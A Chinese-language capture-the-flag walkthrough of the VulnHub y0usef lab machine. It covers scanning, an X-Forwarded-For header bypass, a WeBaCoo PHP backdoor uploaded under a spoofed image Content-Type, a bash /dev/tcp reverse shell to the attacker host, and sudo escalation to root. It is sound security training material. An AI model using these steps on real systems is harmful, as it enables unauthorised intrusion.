靶机练习: y0usef
靶机: y0usef
准备工作
靶机地址: https://download.vulnhub.com/y0usef/y0usef.ova
MD5 校验:28c5d869b003be94b2d8ab4b7b54a3b9
SHA 检验:aca12b3a13e93e84555d36629e03f555124bfca2
- cmd 进行校验:
certutil -hashfile 文件路径 EncryptionType
- powershell 进行校验:
Get-FileHash 文件路径 -Algorithm EncryptionType | Format-List
- EncryptionType 是加密类型
- cmd 进行校验:
使用 VirtualBox
网络 Host-Only
配置网络环境:https://www.cnblogs.com/shadow-/p/16815020.html
- kali: NAT + [ Bridged/Host-Only ]
靶机攻略
发现目标
使用常规工具:
- arp-scan
- nmap
- netdiscover
- fping
初步扫描 sudo arp-scan -l -I eth1
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5f:50:d7, IPv4: 192.168.56.116
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:0d (Unknown: locally administered)
192.168.56.100 08:00:27:b7:62:e6 PCS Systemtechnik GmbH
192.168.56.119 08:00:27:20:ca:f9 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.169 seconds (118.03 hosts/sec). 3 responded
- 发现目标
192.168.56.119
192.168.56.1
是 virtualbox 在 Host-Only 的网关地址192.168.56.100
是 virtualbox 在 Host-Only 的 DHCP 服务器地址- 上面两个可以在 virtualbox 的 【管理 -> 网络操作管理器】 中看到
使用 nmap 对发现 IP 进行端口扫描 nmap -A -T4 192.168.56.119
┌──(kali㉿kali)-[~]
└─$ nmap -A -T4 192.168.56.119
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-20 10:51 CST
Nmap scan report for 192.168.56.119
Host is up (0.00087s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d8e0998c76f186a3ce09c819a41dc7e1 (DSA)
| 2048 82b020bc04ea3fc2cf73c3d4fab54b47 (RSA)
| 256 034db0704dcf5a4a87c3a5ee84ccaacc (ECDSA)
|_ 256 64cdd0af6e0d201301963b8d163ad61b (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.10 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
- 目标操作系统是 Ubuntu
- 目标开发了两个端口
22/tcp
80/tcp
22/tcp
开放的 OpenSSH 的 SSH 服务80/tcp
开放的 Apache 的 HTTP 服务
信息收集
在确认目标及开放端口后,我们需要进行信息收集方便的后续进攻
我们先使用 firefox 访问 http://192.168.56.119:80/
并 Ctrl + U
查看源码
<html>
<head>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
<body>
<div class="container-fluid">
<center class="mt-5">
<h1>Sorry , the site is under construction soon, it run </h1>
</center>
</div>
</body>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
</head>
</html>
- 我们发现一句话
Sorry , the site is under construction soon, it run
提示我们当前站点服务没有对外开放,但已经运行
我们使用 whatweb 继续探测进行 Web 应用程序指纹识别,看看运行了什么 Web 应用
┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.56.119
http://192.168.56.119 [200 OK] Apache[2.4.10], Bootstrap, Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.10 (Ubuntu)], IP[192.168.56.119], JQuery, PHP[5.5.9-1ubuntu4.29], Script, X-Powered-By[PHP/5.5.9-1ubuntu4.29]
- Web 页面设计应该是 Bootstrap 完成
- 我们发现后端可能使用 PHP
接下来我们使用 dirsearch
进行页面爬取
┌──(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.56.119
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/kali/.dirsearch/reports/192.168.56.119/_22-11-20_11-12-49.txt
Error Log: /home/kali/.dirsearch/logs/errors-22-11-20_11-12-49.log
Target: http://192.168.56.119/
[11:12:49] Starting:
[11:12:52] 403 - 300B - /.ht_wsr.txt
[11:12:52] 403 - 303B - /.htaccess.orig
......
[11:12:54] 403 - 293B - /.php
[11:12:54] 403 - 294B - /.php3
[11:13:21] 301 - 324B - /adminstration -> http://192.168.56.119/adminstration/
[11:13:52] 200 - 791B - /index.php/login/
[11:13:52] 200 - 791B - /index.php
[11:14:26] 403 - 302B - /server-status
[11:14:26] 403 - 303B - /server-status/
Task Completed
发现
/adminstration -> http://192.168.56.119/adminstration/
内容被重定向/index.php/login/
这个和下面是差不多,首页一开始就访问发现不行/index.php
这个没有必要访问,首页不需要
使用浏览器访问上面的发现
- 在 firefox 访问
http://192.168.56.119/adminstration/
发现是403
但前面 dirsearch 发现重定向304
为什么要重定向到一个无法访问的地方,还是说重定向的地方是我们无法访问,此处是存在深挖的
我们使用 mitmproxy
代理拦截,看看通信过程中发生了什么,工具不使用 mitmproxy
使用 Burp Suite
作用相同,下面内容我将使用 mitmproxy
结合 curl
进行,当然 curl
不用用浏览器也是相同的
┌──(kali㉿kali)-[~]
└─$ curl http://192.168.56.119/adminstration/ -v
* Trying 192.168.56.119:80...
* Connected to 192.168.56.119 (192.168.56.119) port 80 (#0)
> GET /adminstration/ HTTP/1.1
> Host: 192.168.56.119
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 403 Forbidden
< Date: Sun, 20 Nov 2022 03:29:31 GMT
< Server: Apache/2.4.10 (Ubuntu)
< X-Powered-By: PHP/5.5.9-1ubuntu4.29
< Set-Cookie: PHPSESSID=qmvkv485klr4mraqrfrjcvvjd7; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 75
< Connection: close
< Content-Type: text/html
<
* Closing connection 0
<h1>Forbidden</h1><p>You don't have permission to access on this folder</p>
- 从请求与响应上看拒绝处理它,通常由于服务器上文件或目录的权限设置导致的 web 访问错误
我们需要尝试绕过服务器上文件或目录的权限设置,通过对请求进行设置
- 设置
Host
绕过,使用不同域名- 请求覆盖,无效请求使用其他参数矫正,但只有部分应用会支持 非标准的请求头 使用做好前面的 Web 应用信息收集
-X-Original-URL
-X-Rewrite-URL
- 设置
Referer
表示请求来源,以突破限制获取信任- 通常网站的后台管理都是对内网 ip 开放的,此时可以使用各种各样代理转发相关的http请求头来绕过内网ip访问限制
- X-Forwarded-For
- X-Forward-For
- X-Remote-IP
- X-Originating-IP
- X-Remote-Addr
- X-Client-IP
不知道可以每个都尝试一下,但我们知道上面存在重定向,我们更应该怀疑是内网隔离了使用方法四,方法一我们没有域名信息不能使用,方法二之前 whatweb 已经探明 Web 应用方法二测试后是不行的,方法三尝试过就会发现不行
下面命令
curl http://192.168.56.119/adminstration/ \
-H 'X-Forwarded-For: 127.0.0.1'
http://192.168.56.119/adminstration/
源码<html>
<head>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
<body>
<form action="" method="POST"> <div class="container mt-5">
<div class="form-group">
<label for="exampleInputUsername">Username</label>
<input type="text" class="form-control" name="username" placeholder="Enter username">
<small id="emailHelp" class="form-text text-muted">We'll never share your username with anyone else.</small>
</div>
<div class="form-group">
<label for="exampleInputPassword">Password</label>
<input type="password" class="form-control" name="password" placeholder="Password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</div> </form>
</body>
</head>
</html>
接下来我们使用 mitmproxy
命令
mitmproxy
启动,程序q
退出,如果不明白可以查查怎么用:
使用命令,输入set modify_headers '/~q/X-Forwarded-For/127.0.0.1'
设置将所有请求的请求头中设置选项X-Forwarded-For
为127.0.0.1
突破权限封锁
按
ctrl + shift + d
可以将 shell 伪终端上下分屏,上方是 Mitmproxy 的 TUI 界面,下方是 Bash 的 CLI 界面,此操作仅是方便你操作,如果知道请忽略在 Firefox 中设置代理,手动代理 -> HTTP 代理
127.0.0.1
端口8080
现在 Firefox 浏览器可以随意访问
在页面中进行密码猜测,结果 username=admin,password=admin
- 其他页面都没有什么
- 但 upload file 可以上传文件
使用文件上传
┌──(kali㉿kali)-[~/workspace]
└─$ webacoo -g -o a.php
WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
[+] Backdoor file "a.php" created.
- 使用 webacoo 生成脚本
- 先在
mitmproxy
设置拦截,按i
然后~q
拦截请求 - 然后在 firefox 上传
a.php
木马,会被拦截 - 在
mitmproxy
中选中拦截的请求按e
编辑请求体,将Content-Type
改为image/png
欺骗目标 - 然后按
a
恢复请求 - 然看
mitmproxy
响应体,知道上传文件位置files/1668933026a.php
file uploadad files/1668933026a.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
使用 proxychains-ng
设置代理,使用 webacoo 攻击
生成 proxychains 代理配置文件
cat /etc/proxychains4.conf > proxychains.conf
vim proxychains.conf # 改 socks4 127.0.0.1 9050 --> http 127.0.0.1 8080
使用 webacoo 登录
┌──(kali㉿kali)-[~/workspace]
└─$ proxychains -f proxychains.conf webacoo -t -u http://192.168.56.119/adminstration/upload/files/1668933026a.php
[proxychains] config file found: proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16 WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit
Copyright (C) 2011-2012 Anestis Bechtsoudis
{ @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com } [+] Connecting to remote server as...
[proxychains] Strict chain ... 127.0.0.1:8080 ... 192.168.56.119:80 ... OK
uid=33(www-data) gid=33(www-data) groups=33(www-data) [*] Type 'load' to use an extension module.
[*] Type ':<cmd>' to run local OS commands.
[*] Type 'exit' to quit terminal. webacoo$
反弹 Shell
在本地开启
nc -lnvp 4444
端口监听在 webacoo 依次执行下面三条命令
touch a.sh
echo '#! /bin/bash\nbash -i >& /dev/tcp/192.168.56.116/4444 0>&1' > a.sh && chmod +x ./a.sh
./a.sh
提升 shell 互动性
python -c "import pty; pty.spawn('/bin/bash')"
账号提权
我们可以先查看 /ect/passwd
www-data@yousef-VirtualBox:/var/www/html/adminstration/upload/files$ cat /etc/passwd
</var/www/html/adminstration/upload/files$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
usbmux:x:103:46:usbmux daemon,,,:/home/usbmux:/bin/false
dnsmasq:x:104:65534:dnsmasq,,,:/var/lib/misc:/bin/false
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
rtkit:x:107:114:RealtimeKit,,,:/proc:/bin/false
saned:x:108:115::/home/saned:/bin/false
whoopsie:x:109:116::/nonexistent:/bin/false
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
avahi:x:111:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
lightdm:x:112:118:Light Display Manager:/var/lib/lightdm:/bin/false
colord:x:113:121:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip:x:114:7:HPLIP system user,,,:/var/run/hplip:/bin/false
pulse:x:115:122:PulseAudio daemon,,,:/var/run/pulse:/bin/false
yousef:x:1000:1000:yousef,,,:/home/yousef:/bin/bash
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
guest-cpxNn2:x:116:125:Guest,,,:/tmp/guest-cpxNn2:/bin/bash
sshd:x:117:65534::/var/run/sshd:/usr/sbin/nologin
- 发现用户
yousef
继续,我们去 cd /home
确认一下
www-data@yousef-VirtualBox:/home$ ls
ls
user.txt yousef
www-data@yousef-VirtualBox:/home$ cat user.txt
cat user.txt
c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=
- 发现一个奇怪文件,使用
cat user.txt
查看发现是 base64 编码
我们尝试解密
┌──(kali㉿kali)-[~]
└─$ echo 'c3NoIDogCnVzZXIgOiB5b3VzZWYgCnBhc3MgOiB5b3VzZWYxMjM=' | base64 -d
ssh :
user : yousef
pass : yousef123
- 发现是 ssh 的 yousef 密码
我们尝试使用进行登录
┌──(kali㉿kali)-[~]
└─$ ssh yousef@192.168.56.119 255 ⨯
The authenticity of host '192.168.56.119 (192.168.56.119)' can't be established.
ED25519 key fingerprint is SHA256:J3OrMiuy5X+zdlTAYCltBBCNaN3bxTjPbQvtPR6QSzE.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.119' (ED25519) to the list of known hosts.
yousef@192.168.56.119's password:
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
778 packages can be updated.
482 updates are security updates.
Last login: Tue Dec 8 01:58:33 2020 from s
yousef@yousef-VirtualBox:~$
- 登录成功
二次提权
查看一番
yousef@yousef-VirtualBox:~$ id
uid=1000(yousef) gid=1000(yousef) groups=1000(yousef),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
yousef@yousef-VirtualBox:~$ sudo -l
[sudo] password for yousef:
Matching Defaults entries for yousef on yousef-VirtualBox:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yousef may run the following commands on yousef-VirtualBox:
(ALL : ALL) ALL
发现此账号可以直接
sudo -s
进入 rootyousef@yousef-VirtualBox:~$ sudo -s
root@yousef-VirtualBox:~# id
uid=0(root) gid=0(root) groups=0(root)
结束 GAME OVER
靶机练习: y0usef的更多相关文章
- CTF线下防御战 — 让你的靶机变成“铜墙铁壁”
本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...
- Ms17-010进行WEB提权之实践下某培训靶机服务器
前言:该机器为某个其他培训机构的靶机,说实话在这里没炫耀啥,只是给各位学习Ms17010的同学指一条路,我原先也折腾这玩意儿好久,但是就是不行,最近才找到了出路,所以多写两篇文章,把各种需要注意的地方 ...
- metasploit利用漏洞渗透攻击靶机
1.网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境,包括如图1所示的运行Kali Linux系统的计算机,如图2所示的老师给的Windows Server 2000系统的计算机.这两台计算 ...
- web 攻击靶机解题过程
sql注入靶机攻击过程请参考 https://pentesterlab.com/exercises/from_sqli_to_shell/course http://www.sohu.com/a/12 ...
- Fowsniff: 1靶机入侵
一.信息收集 1.存活主机扫描 arp-scan -l 发现192.168.1.13是目标靶机的IP地址 2.端口扫描 接下来用nmap神器来扫描目标IP地址,命令如下: root@kali2018 ...
- digitalworld.local: MERCY靶机入侵
0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统.MERCY是一款游戏名称,与易受攻击的靶机名称无关.本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的 ...
- Moonraker:1靶机入侵
0x01 前言 攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息. Moonraker: 1镜像下载地址: h ...
- FourAndSix: 2.01靶机入侵
0x01 前言 FourAndSix2是易受攻击的一个靶机,主要任务是通过入侵进入到目标靶机系统然后提权,并在root目录中并读取flag.tx信息 FourAndSix2.镜像下载地址: htt ...
- Typhoon-v1.02 靶机入侵
0x01 前言 Typhoon VM包含多个漏洞和配置错误.Typhoon可用于测试网络服务中的漏洞,配置错误,易受攻击的Web应用程序,密码破解攻击,权限提升攻击,后期利用步骤,信息收集和DNS ...
- Raven: 2靶机入侵
0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机.有四个flag需要找出.在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵. ...
随机推荐
- Windows Server 2022 初始设置
添加本地用户 添加新的本地用户. 在CUI配置上,按如下方式设置. 使用管理员权限运行 PowerShell 并按如下方式进行配置. Windows PowerShell 版权所由 (C) Micro ...
- django多表关联实战
定义模型类: from django.db import models from django.contrib.auth.models import User ''' ---------- Djang ...
- Android 13 - Media框架(16)- OpenMax(四)
关注公众号免费阅读全文,进入音视频开发技术分享群! 这一节继续了解 openmax 目录下的内容. 1.OMX_Core.h 1.1.OMX_BUFFERHEADERTYPE 这是一个比较关键的结构体 ...
- .NET桌面程序混合开发之二:在原生WinFrom程序中使用WebView2
本文将介绍如何在WinForms中嵌入WebView2,并讲到WebView2的主要特征.点击了解更多WebView2的API. 1. 准备 Visual Studio 2017 及以上版本 WebV ...
- Kubernetes操作图
- unaipp 发送验证码倒计时
view代码 <view class="margin-top" @tap="getCheckNum()"> <view class=" ...
- yum install 出错
``` yum -y install ansible ``` 出错 一直在刷屏,刚开始以为在安装但是最后没有安装成功 百度发现是这是redhat7和8的yum源混用 1.先确认本机器系统信息 cat ...
- Android应用程序启动流程浅析-(三万字长文慎点&Android14)
在Android桌面Launcher源码浅析中介绍了Android的桌面程序Launcher是如何响应用户点击事件并启动App的,这篇文章继续介绍App在Android系统层是的启动流程. 一.启动流 ...
- css3 浏览器前缀 线型渐变 过渡属性
css3:没有形成正式版 每个浏览器商,为了能对css3属性形成一个更好的支持,浏览器形成自己一套语法规范,一些css属性,如果想在浏览器上形成支持,有时候需要添加浏览器前缀 谷歌前缀:-webkit ...
- CSP-S2023 题解
CSP-S 2023 题解 密码锁 发现总状态数只有 \(10^5\) 个,枚举 \(O(n)\) 暴力判断即可,复杂度 \(O(10^5 n)\). 或者每一个状态只对应了 \(81\) 个状态,枚 ...